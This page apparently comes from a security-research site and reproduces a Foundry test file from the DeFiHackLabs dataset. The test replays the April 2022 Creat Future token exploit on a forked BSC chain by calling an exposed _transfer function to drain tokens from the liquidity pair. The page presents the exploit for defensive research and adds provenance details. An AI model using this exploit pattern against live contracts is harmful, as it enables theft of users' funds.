Public reproduction file
src/test/2022-04/cftoken_exp.sol
Public reproduction file for dataset entry Creat Future.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity 0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// source8// https://mp.weixin.qq.com/s/_7vIlVBI9g9IgGpS9OwPIQ9// attack tx: 0xc7647406542f8f2473a06fea142d223022370aa5722c044c2b7ea030b8965dd010// test result12// > forge test --contracts ./src/cftoken_exp.sol -vv13// [⠘] Compiling...14// No files changed, compilation skipped16// Running 2 tests for test/Counter.t.sol:CounterTest17// [PASS] testIncrement() (gas: 28334)18// [PASS] testSetNumber(uint256) (runs: 256, μ: 27476, ~: 28409)19// Test result: ok. 2 passed; 0 failed; finished in 16.14ms21// Running 1 test for src/cftoken_exp.sol:ContractTest22// [PASS] testExploit() (gas: 86577)23// Logs:24// Before exploit, cftoken balance:: 025// After exploit, cftoken balance:: 93000000000000000000027// Test result: ok. 1 passed; 0 failed; finished in 9.72s%29contract ContractTest is Test {30 address private cftoken = 0x8B7218CF6Ac641382D7C723dE8aA173e98a80196;31 address private cfpair = 0x7FdC0D8857c6D90FD79E22511baf059c0c71BF8b;32 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);34 function setUp() public {35 cheats.createSelectFork("bsc", 16_841_980); //fork bsc at block 1684198036 }38 function testExploit() public {39 emit log_named_uint("Before exploit, cftoken balance:", ICFToken(cftoken).balanceOf(address(msg.sender)));41 ICFToken(cftoken)._transfer(cfpair, payable(msg.sender), 1_000_000_000_000_000_000_000);43 emit log_named_uint("After exploit, cftoken balance:", ICFToken(cftoken).balanceOf(address(msg.sender)));44 }45}Analysis
Dataset entry
Public Foundry test for “Creat Future” (2022-04-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
10 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-04/AkutarNFT_exp.solSame month in the dataset · 69 lines
- src/test/2022-04/Beanstalk_exp.solSame month in the dataset · 145 lines
- src/test/2022-04/deus_exp.solSame month in the dataset · 157 lines
- src/test/2022-04/Elephant_Money_exp.solSame month in the dataset · 119 lines
- src/test/2022-04/Gym_1_exp.solSame month in the dataset · 74 lines
- src/test/2022-04/Rari_exp.solSame month in the dataset · 102 lines
- src/test/2022-04/Rikkei_exp.solSame month in the dataset · 48 lines
- src/test/2022-04/Saddle_exp.solSame month in the dataset · 91 lines
- src/test/2022-04/Wdoge_exp.solSame month in the dataset · 38 lines
- src/test/2022-04/Zeed_exp.solSame month in the dataset · 51 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attack Tx
0xc7647406542f8f2473a06fea142d223022370aa5722c044c2b7ea030b8965dd0
File record
- Name
- Creat Future
- Path
- src/test/2022-04/cftoken_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4420270ccc2d22b2b8a6754a1342a49e390125f2
- Language
- Solidity
- Size
- 46 lines
- Date
- 2022-04-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-04/cftoken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4420270ccc2d22b2b8a6754a1342a49e390125f2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.